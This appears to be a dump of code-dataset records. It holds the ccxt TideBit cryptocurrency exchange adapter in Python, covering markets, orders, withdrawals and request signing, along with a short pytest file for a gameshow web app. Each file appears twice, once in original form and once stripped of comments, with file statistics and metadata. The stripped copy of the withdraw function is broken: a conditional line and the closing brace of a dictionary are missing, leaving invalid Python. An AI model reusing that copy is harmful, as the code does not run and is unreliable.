'type': None, 'side': None, 'order': None, 'takerOrMaker': None, 'price': price, 'amount': amount, 'cost': cost, 'fee': None, } def fetch_trades(self, symbol, since=None, limit=None, params={}): self.load_markets() market = self.market(symbol) request = { 'market': market['id'], } response = self.publicGetTrades(self.extend(request, params)) return self.parse_trades(response, market, since, limit) def parse_ohlcv(self, ohlcv, market=None, timeframe='1m', since=None, limit=None): return [ ohlcv[0] * 1000, ohlcv[1], ohlcv[2], ohlcv[3], ohlcv[4], ohlcv[5], ] def fetch_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}): self.load_markets() market = self.market(symbol) if limit is None: limit = 30 # default is 30 request = { 'market': market['id'], 'period': self.timeframes[timeframe], 'limit': limit, } if since is not None: request['timestamp'] = int(since / 1000) else: request['timestamp'] = 1800000 response = self.publicGetK(self.extend(request, params)) if response == 'null': return [] return self.parse_ohlcvs(response, market, timeframe, since, limit) def parse_order_status(self, status): statuses = { 'done': 'closed', 'wait': 'open', 'cancel': 'canceled', } return self.safe_string(statuses, status, status) def parse_order(self, order, market=None): symbol = None if market is not None: symbol = market['symbol'] else: marketId = order['market'] symbol = self.markets_by_id[marketId]['symbol'] timestamp = self.parse8601(self.safe_string(order, 'created_at')) status = self.parse_order_status(self.safe_string(order, 'state')) id = self.safe_string(order, 'id') type = self.safe_string(order, 'ord_type') side = self.safe_string(order, 'side') price = self.safe_float(order, 'price') amount = self.safe_float(order, 'volume') filled = self.safe_float(order, 'executed_volume') remaining = self.safe_float(order, 'remaining_volume') cost = None if price is not None: if filled is not None: cost = price * filled return { 'id': id, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'lastTradeTimestamp': None, 'status': status, 'symbol': symbol, 'type': type, 'side': side, 'price': price, 'amount': amount, 'filled': filled, 'remaining': remaining, 'cost': cost, 'trades': None, 'fee': None, 'info': order, } def create_order(self, symbol, type, side, amount, price=None, params={}): self.load_markets() request = { 'market': self.market_id(symbol), 'side': side, 'volume': str(amount), 'ord_type': type, } if type == 'limit': request['price'] = str(price) response = self.privatePostOrders(self.extend(request, params)) market = self.markets_by_id[response['market']] return self.parse_order(response, market) def cancel_order(self, id, symbol=None, params={}): self.load_markets() request = { 'id': id, } result = self.privatePostOrderDelete(self.extend(request, params)) order = self.parse_order(result) status = self.safe_string(order, 'status') if status == 'closed' or status == 'canceled': raise OrderNotFound(self.id + ' ' + self.json(order)) return order def withdraw(self, code, amount, address, tag=None, params={}): self.check_address(address) self.load_markets() currency = self.currency(code) id = self.safe_string(params, 'id') if id is None: raise ExchangeError(self.id + ' withdraw() requires an extra `id` param(withdraw account id according to withdraws/bind_account_list endpoint') request = { 'id': id, 'currency_type': 'coin', # or 'cash' 'currency': currency['id'], 'body': amount, # 'address': address, # they don't allow withdrawing to direct addresses? } if tag is not None: request['memo'] = tag result = self.privatePostWithdrawsApply(self.extend(request, params)) return { 'info': result, 'id': None, } def nonce(self): return self.milliseconds() def encode_params(self, params): return self.urlencode(self.keysort(params)) def sign(self, path, api='public', method='GET', params={}, headers=None, body=None): request = '/' + 'api/' + self.version + '/' + self.implode_params(path, params) + '.json' query = self.omit(params, self.extract_params(path)) url = self.urls['api'] + request if api == 'public': if query: url += '?' + self.urlencode(query) else: self.check_required_credentials() nonce = str(self.nonce()) sortedByKey = self.keysort(self.extend({ 'access_key': self.apiKey, 'tonce': nonce, }, params)) query = self.urlencode(sortedByKey) payload = method + '|' + request + '|' + query signature = self.hmac(self.encode(payload), self.encode(self.secret)) suffix = query + '&signature=' + signature if method == 'GET': url += '?' + suffix else: body = suffix headers = {'Content-Type': 'application/x-www-form-urlencoded'} return {'url': url, 'method': method, 'body': body, 'headers': headers} def handle_errors(self, code, reason, url, method, headers, body, response): if code == 400: error = self.safe_value(response, 'error') errorCode = self.safe_string(error, 'code') feedback = self.id + ' ' + self.json(response) exceptions = self.exceptions if errorCode in exceptions: raise exceptions[errorCode](feedback) # fallback to default error handler

36.632517

155

0.486685

ge import Exchange from ccxt.base.errors import ExchangeError from ccxt.base.errors import InsufficientFunds from ccxt.base.errors import OrderNotFound class tidebit (Exchange): def describe(self): return self.deep_extend(super(tidebit, self).describe(), { 'id': 'tidebit', 'name': 'TideBit', 'countries': ['HK'], 'rateLimit': 1000, 'version': 'v2', 'has': { 'fetchDepositAddress': True, 'CORS': True, 'fetchTickers': True, 'fetchOHLCV': True, 'withdraw': True, }, 'timeframes': { '1m': '1', '5m': '5', '15m': '15', '30m': '30', '1h': '60', '2h': '120', '4h': '240', '12h': '720', '1d': '1440', '3d': '4320', '1w': '10080', }, 'urls': { 'logo': 'https://user-images.githubusercontent.com/1294454/39034921-e3acf016-4480-11e8-9945-a6086a1082fe.jpg', 'api': 'https://www.tidebit.com', 'www': 'https://www.tidebit.com', 'doc': [ 'https://www.tidebit.com/documents/api/guide', 'https://www.tidebit.com/swagger/#/default', ], 'referral': 'http://bit.ly/2IX0LrM', }, 'api': { 'public': { 'get': [ 'markets', 'tickers', 'tickers/{market}', 'timestamp', 'trades', 'trades/{market}', 'order_book', 'order', 'k_with_pending_trades', 'k', 'depth', ], 'post': [], }, 'private': { 'get': [ 'addresses/{address}', 'deposits/history', 'deposits/get_deposit', 'deposits/deposit_address', 'historys/orders', 'historys/vouchers', 'historys/accounts', 'historys/snapshots', 'linkage/get_status', 'members/me', 'order', 'orders', 'partners/orders/{id}/trades', 'referral_commissions/get_undeposited', 'referral_commissions/get_graph_data', 'trades/my', 'withdraws/bind_account_list', 'withdraws/get_withdraw_account', 'withdraws/fetch_bind_info', ], 'post': [ 'deposits/deposit_cash', 'favorite_markets/update', 'order/delete', 'orders', 'orders/multi', 'orders/clear', 'referral_commissions/deposit', 'withdraws/apply', 'withdraws/bind_bank', 'withdraws/bind_address', ], }, }, 'fees': { 'trading': { 'tierBased': False, 'percentage': True, 'maker': 0.2 / 100, 'taker': 0.2 / 100, }, 'funding': { 'tierBased': False, 'percentage': True, 'withdraw': {}, }, }, 'exceptions': { '2002': InsufficientFunds, '2003': OrderNotFound, }, }) def fetch_deposit_address(self, code, params={}): self.load_markets() currency = self.currency(code) request = { 'currency': currency['id'], } response = self.privateGetDepositAddress(self.extend(request, params)) if 'success' in response: if response['success']: address = self.safe_string(response, 'address') tag = self.safe_string(response, 'addressTag') return { 'currency': code, 'address': self.check_address(address), 'tag': tag, 'info': response, } def fetch_markets(self, params={}): response = self.publicGetMarkets(params) result = [] for i in range(0, len(response)): market = response[i] id = self.safe_string(market, 'id') symbol = self.safe_string(market, 'name') baseId, quoteId = symbol.split('/') base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) result.append({ 'id': id, 'symbol': symbol, 'base': base, 'quote': quote, 'baseId': baseId, 'quoteId': quoteId, 'info': market, }) return result def fetch_balance(self, params={}): self.load_markets() response = self.privateGetMembersMe(params) balances = self.safe_value(response, 'accounts') result = {'info': balances} for i in range(0, len(balances)): balance = balances[i] currencyId = self.safe_string(balance, 'currency') code = self.safe_currency_code(currencyId) account = self.account() account['free'] = self.safe_float(balance, 'balance') account['used'] = self.safe_float(balance, 'locked') result[code] = account return self.parse_balance(result) def fetch_order_book(self, symbol, limit=None, params={}): self.load_markets() market = self.market(symbol) request = { 'market': market['id'], } if limit is not None: request['limit'] = limit request['market'] = market['id'] response = self.publicGetDepth(self.extend(request, params)) timestamp = self.safe_timestamp(response, 'timestamp') return self.parse_order_book(response, timestamp) def parse_ticker(self, ticker, market=None): timestamp = self.safe_timestamp(ticker, 'at') ticker = self.safe_value(ticker, 'ticker', {}) symbol = None if market is not None: symbol = market['symbol'] last = self.safe_float(ticker, 'last') return { 'symbol': symbol, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'high': self.safe_float(ticker, 'high'), 'low': self.safe_float(ticker, 'low'), 'bid': self.safe_float(ticker, 'buy'), 'ask': self.safe_float(ticker, 'sell'), 'bidVolume': None, 'askVolume': None, 'vwap': None, 'open': None, 'close': last, 'last': last, 'change': None, 'percentage': None, 'previousClose': None, 'average': None, 'baseVolume': self.safe_float(ticker, 'vol'), 'quoteVolume': None, 'info': ticker, } def fetch_tickers(self, symbols=None, params={}): self.load_markets() tickers = self.publicGetTickers(params) ids = list(tickers.keys()) result = {} for i in range(0, len(ids)): id = ids[i] market = None symbol = id if id in self.markets_by_id: market = self.markets_by_id[id] symbol = market['symbol'] else: baseId = id[0:3] quoteId = id[3:6] base = self.safe_currency_code(baseId) quote = self.safe_currency_code(quoteId) symbol = base + '/' + quote ticker = tickers[id] result[symbol] = self.parse_ticker(ticker, market) return result def fetch_ticker(self, symbol, params={}): self.load_markets() market = self.market(symbol) request = { 'market': market['id'], } response = self.publicGetTickersMarket(self.extend(request, params)) return self.parse_ticker(response, market) def parse_trade(self, trade, market=None): timestamp = self.parse8601(self.safe_string(trade, 'created_at')) id = self.safe_string(trade, 'id') price = self.safe_float(trade, 'price') amount = self.safe_float(trade, 'volume') cost = self.safe_float(trade, 'funds') symbol = None if market is not None: symbol = market['symbol'] return { 'id': id, 'info': trade, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'symbol': symbol, 'type': None, 'side': None, 'order': None, 'takerOrMaker': None, 'price': price, 'amount': amount, 'cost': cost, 'fee': None, } def fetch_trades(self, symbol, since=None, limit=None, params={}): self.load_markets() market = self.market(symbol) request = { 'market': market['id'], } response = self.publicGetTrades(self.extend(request, params)) return self.parse_trades(response, market, since, limit) def parse_ohlcv(self, ohlcv, market=None, timeframe='1m', since=None, limit=None): return [ ohlcv[0] * 1000, ohlcv[1], ohlcv[2], ohlcv[3], ohlcv[4], ohlcv[5], ] def fetch_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}): self.load_markets() market = self.market(symbol) if limit is None: limit = 30 request = { 'market': market['id'], 'period': self.timeframes[timeframe], 'limit': limit, } if since is not None: request['timestamp'] = int(since / 1000) else: request['timestamp'] = 1800000 response = self.publicGetK(self.extend(request, params)) if response == 'null': return [] return self.parse_ohlcvs(response, market, timeframe, since, limit) def parse_order_status(self, status): statuses = { 'done': 'closed', 'wait': 'open', 'cancel': 'canceled', } return self.safe_string(statuses, status, status) def parse_order(self, order, market=None): symbol = None if market is not None: symbol = market['symbol'] else: marketId = order['market'] symbol = self.markets_by_id[marketId]['symbol'] timestamp = self.parse8601(self.safe_string(order, 'created_at')) status = self.parse_order_status(self.safe_string(order, 'state')) id = self.safe_string(order, 'id') type = self.safe_string(order, 'ord_type') side = self.safe_string(order, 'side') price = self.safe_float(order, 'price') amount = self.safe_float(order, 'volume') filled = self.safe_float(order, 'executed_volume') remaining = self.safe_float(order, 'remaining_volume') cost = None if price is not None: if filled is not None: cost = price * filled return { 'id': id, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'lastTradeTimestamp': None, 'status': status, 'symbol': symbol, 'type': type, 'side': side, 'price': price, 'amount': amount, 'filled': filled, 'remaining': remaining, 'cost': cost, 'trades': None, 'fee': None, 'info': order, } def create_order(self, symbol, type, side, amount, price=None, params={}): self.load_markets() request = { 'market': self.market_id(symbol), 'side': side, 'volume': str(amount), 'ord_type': type, } if type == 'limit': request['price'] = str(price) response = self.privatePostOrders(self.extend(request, params)) market = self.markets_by_id[response['market']] return self.parse_order(response, market) def cancel_order(self, id, symbol=None, params={}): self.load_markets() request = { 'id': id, } result = self.privatePostOrderDelete(self.extend(request, params)) order = self.parse_order(result) status = self.safe_string(order, 'status') if status == 'closed' or status == 'canceled': raise OrderNotFound(self.id + ' ' + self.json(order)) return order def withdraw(self, code, amount, address, tag=None, params={}): self.check_address(address) self.load_markets() currency = self.currency(code) id = self.safe_string(params, 'id') if id is None: raise ExchangeError(self.id + ' withdraw() requires an extra `id` param(withdraw account id according to withdraws/bind_account_list endpoint') request = { 'id': id, 'currency_type': 'coin', 'currency': currency['id'], 'body': amount, request['memo'] = tag result = self.privatePostWithdrawsApply(self.extend(request, params)) return { 'info': result, 'id': None, } def nonce(self): return self.milliseconds() def encode_params(self, params): return self.urlencode(self.keysort(params)) def sign(self, path, api='public', method='GET', params={}, headers=None, body=None): request = '/' + 'api/' + self.version + '/' + self.implode_params(path, params) + '.json' query = self.omit(params, self.extract_params(path)) url = self.urls['api'] + request if api == 'public': if query: url += '?' + self.urlencode(query) else: self.check_required_credentials() nonce = str(self.nonce()) sortedByKey = self.keysort(self.extend({ 'access_key': self.apiKey, 'tonce': nonce, }, params)) query = self.urlencode(sortedByKey) payload = method + '|' + request + '|' + query signature = self.hmac(self.encode(payload), self.encode(self.secret)) suffix = query + '&signature=' + signature if method == 'GET': url += '?' + suffix else: body = suffix headers = {'Content-Type': 'application/x-www-form-urlencoded'} return {'url': url, 'method': method, 'body': body, 'headers': headers} def handle_errors(self, code, reason, url, method, headers, body, response): if code == 400: error = self.safe_value(response, 'error') errorCode = self.safe_string(error, 'code') feedback = self.id + ' ' + self.json(response) exceptions = self.exceptions if errorCode in exceptions: raise exceptions[errorCode](feedback) # fallback to default error handler

true

f7104af5717a6011d196d1dc4179149301442dfe

803

py

Python

tests/test_gameshow.py

AndrewWasHere/gameshow

70441bff391f7313a1e186f68ee9df7df83c90fa

[ "BSD-3-Clause" ]

null

tests/test_gameshow.py

AndrewWasHere/gameshow

70441bff391f7313a1e186f68ee9df7df83c90fa

[ "BSD-3-Clause" ]

null

tests/test_gameshow.py

AndrewWasHere/gameshow

70441bff391f7313a1e186f68ee9df7df83c90fa

[ "BSD-3-Clause" ]

null

""" Copyright 2016, Andrew Lin All rights reserved. This software is licensed under the BSD 3-Clause License. See LICENSE.txt at the root of the project or https://opensource.org/licenses/BSD-3-Clause """ import pytest from app.gameshow import make_gameshow @pytest.fixture def app(): """The whole gameshow app.""" a = make_gameshow() return a.test_client() def test_scoreboard(app): """Test / endpoint.""" response = app.get('/') assert response.status_code == 200 assert response.content_type.startswith('text/html') def test_proctor(app): """Test /proctor endpoint.""" response = app.get('/proctor') assert response.status_code == 200 assert response.content_type.startswith('text/html') def test_players(app): """Test /players endpoint."""

21.131579

57

0.697385

import pytest from app.gameshow import make_gameshow @pytest.fixture def app(): a = make_gameshow() return a.test_client() def test_scoreboard(app): response = app.get('/') assert response.status_code == 200 assert response.content_type.startswith('text/html') def test_proctor(app): response = app.get('/proctor') assert response.status_code == 200 assert response.content_type.startswith('text/html') def test_players(app):

true